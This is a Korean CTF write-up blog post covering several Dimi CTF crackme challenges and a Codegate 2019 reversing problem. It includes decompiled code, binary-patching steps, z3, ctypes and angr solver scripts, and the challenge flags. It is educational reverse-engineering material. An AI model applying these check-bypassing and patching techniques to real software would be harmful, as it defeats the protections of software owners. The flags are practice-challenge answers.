		// Token: 0x04000004 RID: 4
		public static string KeyValue = "9e2ea73295c7201c5ccd044477228527";

		// Token: 0x04000005 RID: 5
		public string lowkey = "@DT$:~zRbD_!qFWQMAtC's[_t:&&YF\u007fWQE ^o-EBAr%(";

		// Token: 0x04000006 RID: 6
		private int b;

		// Token: 0x04000007 RID: 7
		private byte[] c = new byte[]
{63,30,57,47,20,78,50,54,51,5,37,41,82,40,69,30,42,56,36,73,60,68,79,86,24,73,76,19,9,27,42,4,82,42,28,86,79,11,17,63,23,14,48,64};

		// Token: 0x04000008 RID: 8
		private byte[] d = new byte[]
		{
22,52,4,72,40,18,41,22,23,45,21,28,42,63,23,49,75,76,39,5,9,13,8,43,37,59,42,45,5,48,10,47,7,42,12,41,20,79,37,46,39,3126,64};

		// Token: 0x04000009 RID: 9
		public string Shadowkey = string.Empty;

		// Token: 0x0400000A RID: 10
		private IContainer e = null;

		// Token: 0x0400000B RID: 11
		private Button f;

		// Token: 0x0400000C RID: 12
		private Button g;

		// Token: 0x0400000D RID: 13
		private Button h;

		// Token: 0x0400000E RID: 14
		private Button i;

		// Token: 0x0400000F RID: 15
		private Button j;

		// Token: 0x04000010 RID: 16
		private Button k;

		// Token: 0x04000011 RID: 17
		private Button l;

		// Token: 0x04000012 RID: 18
		private Button m;

		// Token: 0x04000013 RID: 19
		private Button n;

		// Token: 0x04000014 RID: 20
		private Button o;

		// Token: 0x04000015 RID: 21
		private Button p;

		// Token: 0x04000016 RID: 22
		private Button q;

		// Token: 0x04000017 RID: 23
		private TextBox r;

		// Token: 0x04000018 RID: 24
		private Label s;
	}
}

핵심 코드만 보자면 입력 받는 값의 길이는 16글자이다.

public void TransFormable(string Data)
		{
			if (Data.Length == 16)
			{
				if (this.xorToString(AESCrypt.Encrypt(this.r.Text, Crack_Game.KeyValue)) == this.lowkey)
				{
					string textToDecrypt = this.StringToXOR(this.a.ByteTostring_t(this.c));
					string text = AESCrypt.Decrypt(textToDecrypt, Crack_Game.KeyValue);
					MessageBox.Show(text);
				}
				else
				{
					string textToDecrypt2 = this.StringToXOR(this.a.ByteTostring_t(this.d));
					string str = AESCrypt.Decrypt(textToDecrypt2, Crack_Game.KeyValue);
					MessageBox.Show("Do you know ?  " + str);
				}
			}
		}

public string StringToXOR(string data)
		{
			string empty = string.Empty;
			byte[] array = new byte[data.Length];
			array = this.stringTobyte(data);
			for (int i = 0; i < array.Length; i++)
			{
				array[i] ^= 37;
				array[i] ^= 88;
			}
			return this.ByteTostring(array);
		}

public static string KeyValue = "9e2ea73295c7201c5ccd044477228527";

public string lowkey = "@DT$:~zRbD_!qFWQMAtC's[_t:&&YF\u007fWQE ^o-EBAr%(";

private byte[] c = new byte[]{ 63,30,57,47,20,78,50,54,51,5,37,41,82,40,69,30,42,56,36,73,60,68,79,86,24,73,76,19,9,27,42,4,82,42,28,86,79,11,17,63,23,14,48,64};

private byte[] d = new byte[]{
22,52,4,72,40,18,41,22,23,45,21,28,42,63,23,49,75,76,39,5,9,13,8,43,37,59,42,45,5,48,10,47,7,42,12,41,20,79,37,46,39,31,26,64};

우선 16글자만 맞추고 입력하면 아래와 같은 글자를 출력해준다. 그러므로 우리는 lowkey랑 입력받은 걸 AES Encrypt하고 xor한 값이 같으면 c 를 XOR연산 후에 AES Decrypt 해준다. 길이만 맞고 lowkey랑은 다르면 d를 Decrypt 해준다. 우리는 이를 이용해서 풀 수 있다.

만약 c와 d를 바꾸고 길이만 16으로 맞춘 후 아무거나 입력한다면 플래그가 담인 것을 Decrypt하게 된다. 우선은 푸는 방법은 여러개가 있다. 바이너리를 패치해서 c와 d를 바꾸거나 이 .cs 파일을 변수를 서로 바꿔주고 컴파일 하면 된다.

나는 바이너리 패치를 했다. 그냥 d를 c로 바꿔서 c가 Decrypt 되게 했다.

이제 이 바이너리를 길이만 맞추고 실행해주면 c가 Decrypt 되서 MessageBox로 출력된다.

다른 방법으로는 c의 테이블 값을 가져오고 역연산 해주면 된다.

# -*- coding:utf-8 -*-
import base64

# length = 16
c=[63,30,57,47,20,78,50,54,51,5,37,41,82,40,69,30,42,56,36,73,60,68,79,86,24,73,76,19,9,27,42,4,82,42,28,86,79,11,17,63,23,14,48,64]
enc = []
for i in c:
	enc.append(i^37^88)
a = ''.join(chr(i) for i in enc)
a = base64.b64decode(a)
print a

우선은 StringToXOR의 값을 먼저 구해주었다. BcDRi3OKNxXT/U8cWEY4A92+e41ntfWy/Wa+2vlBjsM=

AES-256-CBC Decrypt 하는 것을 찾다가 php의 crypt_decrypt를 이용해서 풀었다.

<?php
$text = "BcDRi3OKNxXT/U8cWEY4A92+e41ntfWy/Wa+2vlBjsM=";
$algorithm = MCRYPT_RIJNDAEL_256;       
$mode = MCRYPT_MODE_CBC;
$keyvalue = '9e2ea73295c7201c5ccd044477228527';
$bytes = $keyvalue;
$iv = $key = $bytes;
$flag = mcrypt_decrypt($algorithm, $key, base64_decode($text),$mode, $iv);
print $flag;
?>

그냥 C# 변수 서로 바꿔주고 몇개 바꾸고 컴파일 해주면 된다. 그러면 passcode는 198711102130301 이렇게 나온다.

FLAG : code9ate2013 Start

2017 Dimi CTF Final warmup

64bit 바이너리 warmup과 flag.enc가 주어졌다.

$ file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=387ae1f78e1eda40583739245d91ad9ce53a9442, stripped

flag.enc 파일은 뭔가 인코딩 되어 있는듯 알 수 없이 되어있었다.

우선 메인을 보게 되면 입력받은 값을 각종 연산을 하고 flag.enc에 한 글자씩 써 넣는다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  int v4; // eax
  unsigned int v5; // eax
  size_t v6; // rbx
  unsigned int ptr; // [rsp+Ch] [rbp-54h]
  int i; // [rsp+10h] [rbp-50h]
  unsigned int v10; // [rsp+14h] [rbp-4Ch]
  FILE *s; // [rsp+18h] [rbp-48h]
  char v12[8]; // [rsp+20h] [rbp-40h]
  __int64 v13; // [rsp+28h] [rbp-38h]
  __int64 v14; // [rsp+30h] [rbp-30h]
  __int64 v15; // [rsp+38h] [rbp-28h]
  __int64 v16; // [rsp+40h] [rbp-20h]
  unsigned __int64 v17; // [rsp+48h] [rbp-18h]

  v17 = __readfsqword(0x28u);
  *(_QWORD *)v12 = 0LL;
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  printf("INPUT: ", a2, a3);
  __isoc99_scanf("%20s", v12);
  v3 = time(0LL);
  srand(v3);
  s = fopen("flag.enc", "wb");
  for ( i = 0; ; ++i )
  {
    v6 = i;
    if ( v6 >= strlen(v12) )
      break;
    v4 = rand();
    v10 = (unsigned __int8)(((unsigned int)(v4 >> 31) >> 24) + v4) - ((unsigned int)(v4 >> 31) >> 24);
    v5 = (unsigned int)((signed int)(255 - (v10 & v12[i])) >> 31) >> 24;
    ptr = (v10 | v12[i]) & ((unsigned __int8)(v5 + -1 - (v10 & v12[i])) - v5);
    fwrite(&ptr, 1uLL, 1uLL, s);
  }
  fclose(s);
  return 0LL;
}

근데 여기서 문제는 여기서부터였다. 조금 게싱이 필요한 문제이다. 이 flag.enc 파일이 생성된 날짜가 필요했다.

위에 보면 v3 = time(0) 그리고 이 v3를 srand() 값으로 넣어주고 밑에 이 시드를 이용해 rand() 함수를 사용한다.

일단 time(0)를 하게되면 어떤 일이 일어나냐면 1970년 1월 1일 00:00:00 UTC 부터 현재까지의 경과 시간을 초로 리턴해준다.

-> 참고 : 유닉스 시간

그래서 1970년 1월 1일 00:00:00 UTC 부터 이 flag.enc 인코딩된 시간인 2017 7월 19일 9시 57분 27초까지 경과된 초를 가져와서 srand() 넣어주면 된다. 나는 유닉스 계산기를 이용해서 시간을 구했다.

자 이제 flag.enc가 생성된 날짜의 time(0)를 구했고 이제 1500425847 을 시드 값으로 넣어주고 rand()를 이용해서 막 엄청난 연산을 한다 :) 이제 인코딩된 문자들의 값을 구해주고 쉽게 풀 수 있다.

#!/usr/bin/python
# -*- coding: iso-8859-15 -*-

from ctypes import *
from z3 import *
import string

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(1500425847)
table=[0xAD,0xE4,0xAE,0x8D,0xA9,0x63,0xE0,0x48,0x79,0x34,0x10,0x1A,0xF4,0x51,0x2B,0xD3,0xCE,0x3C,0x98]

s = Solver()
a1 = [BitVec('a%i'%i,8)for i in range(len(table))]
for i in range(len(table)):
	random = libc.rand()
	shift_rand = (((random >> 31) >> 24) + random) - ((random >> 31) >> 24)
	s.add((shift_rand | a1[i]) & (((((255 - (shift_rand & a1[i])) >> 31) >> 24) + -1 - (shift_rand & a1[i])) - (((255 - (shift_rand & a1[i])) >> 31) >> 24)) == table[i])

print s.check()
print s.model()
m = s.model()
print ''.join(chr(int(str((m.evaluate(a1[i]))))) for i in range(len(table)))

FLAG : dimigo{Warming_up!}

2017 Dimi CTF Final angry

파일 입출력을 사용해서 값을 읽어와서 루틴에 맞는지 아닌지 검증해 마지막에 GOOD을 출력해준다.

그냥 Codegate 2018에 나온 RedVelvet과 유사한 문제였다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int fd; // ST1C_4
  int v4; // ST1C_4
  char buf; // [rsp+20h] [rbp-20h]
  char v7; // [rsp+21h] [rbp-1Fh]
  char v8; // [rsp+22h] [rbp-1Eh]
  char v9; // [rsp+23h] [rbp-1Dh]
  char v10; // [rsp+24h] [rbp-1Ch]
  char v11; // [rsp+25h] [rbp-1Bh]
  char v12; // [rsp+26h] [rbp-1Ah]
  char v13; // [rsp+27h] [rbp-19h]
  char v14; // [rsp+28h] [rbp-18h]
  char v15; // [rsp+29h] [rbp-17h]
  unsigned __int64 v16; // [rsp+38h] [rbp-8h]

  v16 = __readfsqword(0x28u);
  fd = open("f0", 0, a3, a2);
  read(fd, &buf, 10uLL);
  close(fd);
  sub_4006A6(buf);
  sub_4006C6(v7);
  sub_4006E6(v8);
  sub_400706(v9);
  sub_400726(v10);
  sub_400746(v11);
  sub_40076E(v12);
  sub_40079C(v13);
  sub_4007C7(v14);
  sub_4007E7(v15);
  read(0, &buf, 10uLL);
  sub_400807(buf);
  sub_400827(v7);
  sub_400847(v8);
  sub_400873(v9);
  sub_400893(v10);
  sub_4008B3(v11);
  sub_4008D3(v12);
  sub_4008FB(v13);
  sub_40091B(v14);
  sub_400943(v15);
  read(0, &buf, 10uLL);
  sub_400963(buf);
  sub_40098B(v7);
  sub_4009AB(v8);
  sub_4009D6(v9);
  sub_4009F6(v10);
  sub_400A16(v11);
  sub_400A36(v12);
  sub_400A56(v13);
  sub_400A76(v14);
  sub_400A96(v15);
  read(0, &buf, 10uLL);
  sub_400ABE(buf);
  sub_400ADE(v7);
  sub_400B0A(v8);
  sub_400B35(v9);
  sub_400B61(v10);
  sub_400B81(v11);
  sub_400BAC(v12);
  sub_400BCC(v13);
  sub_400BEC(v14);
  sub_400C14(v15);
  read(0, &buf, 0xAuLL);
  sub_400C34(buf);
  sub_400C54(v7);
  sub_400C74(v8);
  sub_400C9C(v9);
  sub_400CC4(v10);
  sub_400CF8(v11);
  sub_400D18(v12);
  sub_400D38(v13);
  sub_400D63(v14);
  sub_400D8B(v15);
  v4 = open("f50", 0);
  read(v4, &buf, 10uLL);
  close(v4);
  sub_400DAB(buf);
  puts("GOOD");
  return 0LL;
}

그냥 노가다 했던 문제,,,

from z3 import *

s = Solver()

a1 = [Int('a%i'%i) for i in range(51)]
s.add(a1[0] == 100)
s.add(a1[1] == 105)
s.add(a1[2] == 109)
s.add(a1[3] == 105)
s.add(a1[4] == 103)
s.add(a1[5] == 11544/104)
s.add(a1[6] == 11808/96)
s.add(a1[7] == 17612/148)
s.add(a1[8] == 104)
s.add(a1[9] == 121)
s.add(a1[10] == 95)
s.add(a1[11] == 121)
s.add(a1[12] == 1665/15)
s.add(a1[13] == 117)
s.add(a1[14] == 95)
s.add(a1[15] == 108)
s.add(a1[16] == 10989/99)
s.add(a1[17] == 111)
s.add(a1[18] == 11766/106)
s.add(a1[19] == 111)
s.add(a1[20] == 12210/110)
s.add(a1[21] == 107)
s.add(a1[22] == 21185/223)
s.add(a1[23] == 115)
s.add(a1[24] == 111)
s.add(a1[25] == 111)
s.add(a1[26] == 111)
s.add(a1[27] == 111)
s.add(a1[28] == 111)
s.add(a1[29] == 760/8)
s.add(a1[30] == 65)
s.add(a1[31] == 1105/17)
s.add(a1[32] == 11310/174)
s.add(a1[33] == 1170/15)
s.add(a1[34] == 78)
s.add(a1[35] == 17862/229)
s.add(a1[36] == 71)
s.add(a1[37] == 71)
s.add(a1[38] == 6958/98)
s.add(a1[39] == 82)
s.add(a1[40] == 82)
s.add(a1[41] == 82)
s.add(a1[42] == 9020/110)
s.add(a1[43] == 6230/70)
s.add(a1[44] == 2403/27)
s.add(a1[45] == 89)
s.add(a1[46] == 89)
s.add(a1[47] == 11151/177)
s.add(a1[48] == 4347/69)
s.add(a1[49] == 63)
s.add(a1[50] == 125)
print s.check()
m = s.model()
print ''.join(chr(int(str(m.evaluate(a1[i])))) for i in range(len(m)))

FLAG : dimigo{why_you_loooook_sooooo_AAANNNGGGRRRRYYYY???}

2018 Dimi CTF Prequal mm

main에서는 그냥 입력받고 sub_85A 함수 호출 해주는데 이 함수에서 마지막에 비교해서 리턴 값이 1이면 Correct 틀리면 Wrong을 출력해준다.

_BOOL8 __fastcall sub_85A(const char *a1)
{
  int v1; // ST1C_4
  int i; // [rsp+14h] [rbp-21Ch]
  int v4; // [rsp+18h] [rbp-218h]
  __int16 s1[260]; // [rsp+20h] [rbp-210h]
  unsigned __int64 v6; // [rsp+228h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v4 = strlen(a1);
  memset(s1, 0, 0x200uLL);
  for ( i = 0; i < v4; ++i )
  {
    v1 = (unsigned __int16)rand();
    s1[i] = v1 * a1[i] % (v1 + 1);
  }
  return memcmp(s1, &unk_201020, 0x74uLL) == 0;
}

main에서 시드값을 6051로 설정해주었고 rand() 값들을 가져와서 연산해주고 미리 저장된 테이블과 비교해준다.

from ctypes import *

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(6051)
table = [0xA8, 0x73, 0x0CC, 0x39, 0x0A, 0x4E, 0x85, 0x8D, 0x0F2, 0x0D1, 0x76, 0x77, 0x2E, 0x27, 0x31, 0x0AB, 0x34, 0x8F, 0x59, 0x46, 0x0AC, 0x0E7, 0x8, 0x0A3, 0x4D, 0x15, 0x9F, 0x7D, 0x23, 0x71, 0x0DB, 0x0F8, 0x0C4, 0x49, 0x0B8, 0x5B, 0x74, 0x22, 0x76, 0x0DD, 0x9D, 0x0C2, 0x48, 0x70, 0x0AE, 0x52, 0x61, 0x13, 0x8C, 0x0C9, 0x0A6, 0x73, 0x0A, 0x87, 0x70, 0x88, 0x8D, 0x74, 0x69, 0x6, 0x8F, 0x8C, 0x0A9, 0x0E8, 0x0B1, 0x40, 0x0BF, 0x0DA, 0x0C7, 0x76, 0x3D, 0x13, 0x0B2, 0x52, 0x59, 0x9E, 0x76, 0x0BE, 0x48, 0x0E2, 0x0DD, 0x0E4, 0x0C5, 0x0A6, 0x6E, 0x85, 0x0B7, 0x0FA, 0x65, 0x24, 0x0F7, 0x0F6, 0x1C, 0x0F4, 0x93, 0x6E, 0x5A, 0x53, 0x0DA, 0x16, 0x54, 0x4C, 0x6D, 0x16, 0x0A4, 0x87, 0x0F, 0x9F, 0x0DD, 0x29, 0x0A3, 0x51, 0x27, 0x13, 0x3A, 0x0B1]
flag = ""
for i in range(0,len(table),2):
	tmp = libc.rand()
	for j in range(256):
		if (tmp * j % (tmp+1)) & 0xff == table[i]:
			flag += chr(j)
			break
print flag

FLAG : dimi{ca1cul4t3d_inv3rs3?_0r_us3d_z3?_0h_y0u_ar3_4_F0Ol_;)}

2017 Dimi CTF Prequal WhatIsTheEnd

메인을 보면 33글자를 입력받을 받는다. 그리고 어떠한 연산을 하고 맞는지 비교해준다.

int __cdecl main(int a1)
{
  int v2; // [esp-Ah] [ebp-70h]
  int v3; // [esp-6h] [ebp-6Ch]
  int v4; // [esp-2h] [ebp-68h]
  char v5; // [esp+1h] [ebp-65h]
  signed int i; // [esp+2h] [ebp-64h]
  signed int j; // [esp+2h] [ebp-64h]
  char v8; // [esp+6h] [ebp-60h]
  char v9; // [esp+7h] [ebp-5Fh]
  char v10; // [esp+8h] [ebp-5Eh]
  char v11; // [esp+9h] [ebp-5Dh]
  char v12; // [esp+Ah] [ebp-5Ch]
  char v13; // [esp+Bh] [ebp-5Bh]
  char v14; // [esp+Ch] [ebp-5Ah]
  char v15; // [esp+Dh] [ebp-59h]
  char v16; // [esp+Eh] [ebp-58h]
  char v17; // [esp+Fh] [ebp-57h]
  char v18; // [esp+10h] [ebp-56h]
  char v19; // [esp+11h] [ebp-55h]
  char v20; // [esp+12h] [ebp-54h]
  char v21; // [esp+13h] [ebp-53h]
  char v22; // [esp+14h] [ebp-52h]
  char v23; // [esp+15h] [ebp-51h]
  char v24; // [esp+16h] [ebp-50h]
  char v25; // [esp+17h] [ebp-4Fh]
  char v26; // [esp+18h] [ebp-4Eh]
  char v27; // [esp+19h] [ebp-4Dh]
  char v28; // [esp+1Ah] [ebp-4Ch]
  char v29; // [esp+1Bh] [ebp-4Bh]
  char v30; // [esp+1Ch] [ebp-4Ah]
  char v31; // [esp+1Dh] [ebp-49h]
  char v32; // [esp+1Eh] [ebp-48h]
  char v33; // [esp+1Fh] [ebp-47h]
  char v34; // [esp+20h] [ebp-46h]
  char v35; // [esp+21h] [ebp-45h]
  char v36; // [esp+22h] [ebp-44h]
  char v37; // [esp+23h] [ebp-43h]
  char v38; // [esp+24h] [ebp-42h]
  char v39; // [esp+25h] [ebp-41h]
  __int16 v40; // [esp+26h] [ebp-40h]
  int v41; // [esp+28h] [ebp-3Eh]
  __int16 v42; // [esp+2Ch] [ebp-3Ah]
  int v43; // [esp+2Eh] [ebp-38h]
  int v44; // [esp+32h] [ebp-34h]
  int v45; // [esp+36h] [ebp-30h]
  int v46; // [esp+3Ah] [ebp-2Ch]
  int v47; // [esp+3Eh] [ebp-28h]
  int v48; // [esp+42h] [ebp-24h]
  int v49; // [esp+46h] [ebp-20h]
  unsigned int v50; // [esp+4Ah] [ebp-1Ch]
  int v51; // [esp+4Eh] [ebp-18h]
  int v52; // [esp+52h] [ebp-14h]
  int v53; // [esp+56h] [ebp-10h]
  int *v54; // [esp+5Ah] [ebp-Ch]

  v54 = &a1;
  v50 = __readgsdword(0x14u);
  v40 = 0;
  v8 = 172;
  v9 = 171;
  v10 = 30;
  v11 = 44;
  v12 = 166;
  v13 = 161;
  v14 = 156;
  v15 = 232;
  v16 = 255;
  v17 = 97;
  v18 = 9;
  v19 = 83;
  v20 = 37;
  v21 = 20;
  v22 = 130;
  v23 = 60;
  v24 = 165;
  v25 = 145;
  v26 = 165;
  v27 = 219;
  v28 = 233;
  v29 = 4;
  v30 = 96;
  v31 = 224;
  v32 = 26;
  v33 = 110;
  v34 = 97;
  v35 = 65;
  v36 = 183;
  v37 = 79;
  v38 = 83;
  v39 = 205;
  LOBYTE(v40) = 27;
  v41 = 0;
  v49 = 0;
  memset((&v42 & 0xFFFFFFFC), 0, 4 * (((&v41 - (&v42 & 0xFFFFFFFC) + 34) & 0xFFFFFFFC) >> 2));
  printf("INPUT: ");
  __isoc99_scanf(
    "%33s",
    &v41,
    v2,
    v3,
    v4,
    0,
    *&v8,
    *&v12,
    *&v16,
    *&v20,
    *&v24,
    *&v28,
    *&v32,
    *&v36,
    *&v40,
    *(&v41 + 2),
    v43,
    v44,
    v45,
    v46,
    v47,
    v48,
    v49);
  v53 = 0;
  v52 = 1;
  v51 = 0;
  v5 = ptrace(0, 0, 1, 0);
  for ( i = 0; i <= 32; ++i )
    *(&v41 + i) ^= v5 ^ rand();
  for ( j = 0; j <= 32; ++j )
  {
    if ( (*(&v8 + j) ^ *(&v41 + j)) != *(&v41 + j + 1) )
    {
      puts("Nope!");
      return -1;
    }
  }
  puts("Correct!");
  return 0;
}

여기서는 v8[i] ^ input[i] ^ rand[i] == input[i+1] ^ rand[i+1] 이러한 연산을 하고 있는데 우선 v8은 고정 값이고 rand()는 시드 값이 없으니까 그냥 긁어오면 된다.

ptrace는 디버깅중이 아니니까 0을 리턴하니까 xor연산해도 같은 값이 나오니까 무시해도 된다. 디버깅 중이면 -1을 리턴한다.

나는 라이브러리를 불러와서 rand값을 다 구하고 z3 이용해서 풀었다.

from ctypes import CDLL
from z3 import *

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
rand_table = []
table = [172,171,30,44,166,161,156,232,255,97,9,83,37,20,130,60,165,145,165,219,233,4,96,224,26,110,97,65,183,79,83,205,27]
for i in range(33):
        rand_table.append(libc.rand()%256)
s = Solver()
a1 = [BitVec('a%i'%i,8)for i in range(33)]
s.add(a1[0] == ord('d'))
s.add(a1[1] == ord('i'))
s.add(a1[2] == ord('m'))
s.add(a1[3] == ord('i'))
for i in range(32):
        s.add(table[i] ^  a1[i] ^ rand_table[i] == a1[i+1] ^ rand_table[i+1])

print s.check()
m = s.model()
print ''.join(chr(int(str((m.evaluate(a1[i]))))) for i in range(33))

FLAG : dimigo{Always_String_END_is_NULL}

2017 Dimi CTF Final TooEasy

시드값 정해주고 랜덤 값 가져와서 어떠한 연산을 한 뒤에 마지막에는 저장되어 있는 값과 비교 연산을 한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // ST10_1
  unsigned int v4; // esi
  int v5; // ecx
  char v6; // ST20_1
  char Str2[16]; // [esp+8h] [ebp-204h]
  __int128 v9; // [esp+18h] [ebp-1F4h]
  char v10; // [esp+28h] [ebp-1E4h]
  char v11; // [esp+29h] [ebp-1E3h]
  char Dst[256]; // [esp+108h] [ebp-104h]
  char v13[256]; // [esp+109h] [ebp-103h]

  memset(Dst, 0, 0xFFu);
  *(_OWORD *)Str2 = xmmword_402160;
  v9 = xmmword_402150;
  v10 = -114;
  memset(&v11, 0, 0xDEu);
  ((void (__cdecl *)(const char *, char))sub_401020)("Password: ", v3);
  sub_401050("%36s", (unsigned int)Dst);
  srand(0x3FD1CC7u);
  v4 = 0;
  if ( &Dst[strlen(Dst) + 1] != v13 )
  {
    do
    {
      v5 = rand() % 256;
      v6 = (v5 | Dst[v4]) & ~(v5 & Dst[v4]);
      Dst[v4] = v6;
      sub_401020("%d, ", v6);
      ++v4;
    }
    while ( v4 < strlen(Dst) );
  }
  if ( !strncmp(Dst, Str2, 0x21u) )
    sub_401020("\nCorrect\n");
  else
    sub_401020("\nWrong\n");
  return 0;
}

ctypes로 윈도우 라이브러리 불러와서 시드값 66919623 넣어주고 rand() 돌려서 브루트 포스 해줬다.

from ctypes import *

CDLL = CDLL('msvcrt')
CDLL.srand(66919623)
table=[0x4d,0xcb,0xc3,0xbb,0x19,0x0a,0x1a,0x7f,0x50,0xf8,0x18,0x08,0x89,0xc1,0xa8,0xcf,0xba,0xbe,0xec,0x75,0x90,0xe2,0x23,0x6d,0xa4,0xb7,0x35,0xf5,0xd1,0x9a,0x32,0x1a,0x8e]

flag =""
for i in range(len(table)):
	tmp = CDLL.rand() % 256
	for j in range(256):
		if ((tmp | j) & ~(tmp &j)) == table[i]:
			flag += chr(j)
print flag

이번에도 msvcrt 라이브러리에서 rand값만 가져와서 Solver를 이용해서 풀었다.

from ctypes import *
from z3 import *

CDLL = CDLL('msvcrt')
CDLL.srand(66919623)
s = Solver()
table=[0x4d,0xcb,0xc3,0xbb,0x19,0x0a,0x1a,0x7f,0x50,0xf8,0x18,0x08,0x89,0xc1,0xa8,0xcf,0xba,0xbe,0xec,0x75,0x90,0xe2,0x23,0x6d,0xa4,0xb7,0x35,0xf5,0xd1,0x9a,0x32,0x1a,0x8e]
rand_table=[]
for i in range(len(table)):
	rand_table.append(CDLL.rand() % 256)
a1 = [BitVec('a%i'%i,8)for i in range(len(table))]
for i in range(len(table)):
	s.add((rand_table[i] | a1[i]) & ~(rand_table[i] & a1[i]) == table[i])
print s.check()
m = s.model()
print ''.join(chr(int(str(m.evaluate(a1[i])))) for i in range(len(table)))

FLAG : dimigo{warmup?_nooo_coldup_isit?}

2017 Dimi CTF Prequal ToHard

디컴파일을 하면 이렇게 나온다. mips로 짠 문제다. 그냥 angr로 슥삭 돌리면 풀린다.

undefined4 main(void)
{
  int iVar1;
  int local_78;
  int local_74;
  byte local_70;
  undefined4 local_6c;
  undefined4 local_68;
  undefined4 local_64;
  undefined4 local_60;
  undefined4 local_5c;
  undefined4 local_58;
  undefined4 local_54;
  undefined4 local_50;
  byte local_4c [30];
  byte local_2e;
  byte abStack45 [37];
  
  local_6c = 0x7e067d4b;
  local_68 = 0x2b74014c;
  local_64 = 0xb3d4113;
  local_60 = 0x52763724;
  local_5c = 0x2c5f7e5e;
  local_58 = 0x41097120;
  local_54 = 0x40246d5b;
  local_50 = 0x334e2e00;
  printf("INPUT: ");
  __isoc99_scanf(&DAT_00400cb8,local_4c);
  strncpy((char *)(abStack45 + 1),(char *)local_4c,0x20);
  local_78 = 1;
  while (local_78 < 0x1f) {
    abStack45[local_78 + 1] = abStack45[local_78 + 1] ^ abStack45[local_78];
    local_78 = local_78 + 1;
  }
  local_78 = 0;
  while (local_78 < (int)(uint)(local_2e % 0x1f)) {
    local_74 = 0x1f;
    while (-1 < local_74) {
      if (local_74 == 0) {
        local_4c[0] = local_70;
      }
      else {
        if (local_74 == 0x1f) {
          local_70 = local_2e;
        }
        else {
          local_4c[local_74] = *(byte *)((int)&local_50 + local_74 + 3);
        }
      }
      local_74 = local_74 + -1;
    }
    local_78 = local_78 + 1;
  }
  local_78 = 0;
  while (local_78 < 0x1f) {
    local_4c[local_78] = local_4c[local_78] ^ abStack45[local_78 + 1];
    local_78 = local_78 + 1;
  }
  local_78 = 0xf;
  while (local_78 < 0x1f) {
    abStack45[local_78 + 1] = local_4c[local_78];
    local_78 = local_78 + 1;
  }
  local_78 = 0;
  while (local_78 < 0x20) {
    abStack45[local_78 + 1] = abStack45[local_78 + 1] ^ *(byte *)((int)&local_6c + local_78);
    local_78 = local_78 + 1;
  }
  iVar1 = strncmp((char *)(abStack45 + 1),"Oh_You_Finally_Match_The_Keys!!",0x1f);
  if (iVar1 == 0) {
    puts("Correct!");
  }
  else {
    puts("Try Again");
  }
  return 0;
}


import angr
p = angr.Project('./ToHard',load_options={"auto_load_libs":True})
ex = p.surveyors.Explorer(find=0x0400ad8, avoid=0x0400aec)
ex.run()
print ex.found[0].state.posix.dumps(0)

FLAG : 1_L0VE_Th1s_A1g0r1thm_AnD_M1pS!

2019 Codegate open CTF Writeup

Reversing

seori

C++로 만들어진 프로그램이다.

int __cdecl sub_3011E0(int a1)
{
  int v1; // eax
  int v2; // eax
  int v3; // eax
  int v4; // eax
  int v5; // eax
  int v6; // eax
  int v7; // ST0C_4
  int v8; // eax
  int v9; // eax
  int v10; // eax
  char v12; // [esp+4h] [ebp-1Ch]
  int v13; // [esp+8h] [ebp-18h]
  void *Dst; // [esp+14h] [ebp-Ch]
  DWORD v15; // [esp+18h] [ebp-8h]
  DWORD i; // [esp+1Ch] [ebp-4h]

  v1 = sub_301400(std::cout, "Hi FRIEND!");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v1, sub_301740);
  v2 = sub_301400(std::cout, "I HAVE PRETTY CAT. DO YOU WANT TO SEE A CAT? ");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v2, sub_301740);
  v3 = sub_301400(std::cout, "UNFORTUNATELY THE CAT IS HIDING :( ");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v3, sub_301740);
  v4 = sub_301400(std::cout, "FIND MY CAT!");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v4, sub_301740);
  sub_3010F0();
  v12 = sub_301080(a1);
  hModule = LoadLibraryW(L"Seori.exe");
  hResInfo = FindResourceW(hModule, 0x65, L"SEORI");
  v15 = SizeofResource(hModule, hResInfo);
  hResData = LoadResource(hModule, hResInfo);
  dword_305380 = LockResource(hResData);
  v13 = dword_305380;
  Dst = malloc((v15 + 1) | -__CFADD__(v15, 1));
  memset(Dst, 0, v15 + 1);
  for ( i = 0; i < v15; ++i )
    *(Dst + i) = v12 ^ *(i + v13);
  v5 = std::basic_ostream<char,std::char_traits<char>>::operator<<(std::cout, sub_301740);
  v6 = std::basic_ostream<char,std::char_traits<char>>::operator<<(v5, -122569430);
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v6, v7);
  v8 = sub_301400(std::cout, "HAVE YOU SEEN MY CAT?");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v8, sub_301740);
  v9 = sub_301400(std::cout, "I THINK MY CAT IS REALLY CUTE.");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v9, sub_301740);
  v10 = sub_301400(std::cout, "I HOPE TO FIND MY CAT!");
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v10, sub_301740);
  return 0;
}

C++로 보기는건 아직 익숙치 않아서 어셈으로 보는게 훨씬 편했다.

이쪽 부분을 보게되면 ebp+var_4를 1씩 증가시키면서(증가 시키는 부분은 그래프 밑쪽에 있다..) ebp-8과 같을 때까지 밑에 연산을 한다. ebp-8 값은 98929 였다.

동적 디버깅해서 xor 이후 [eax]에 넣는 dl의 값을 보니 JPEG 헤더의 값이 보였다.

그러면 이 리소스들을 추출해서 파일을 쓰면 플래그가 써 있는 JPEG가 나온다.

from idaapi import *
from idautils import *

value = []
for i in range(98928):
	value.append(hex(Byte(0x139b398+i)))
	"""
	value[i] = value[i].replace('0x','')
	if len(value[i]) == 1:
		value[i] = "0" + value[i]
	"""

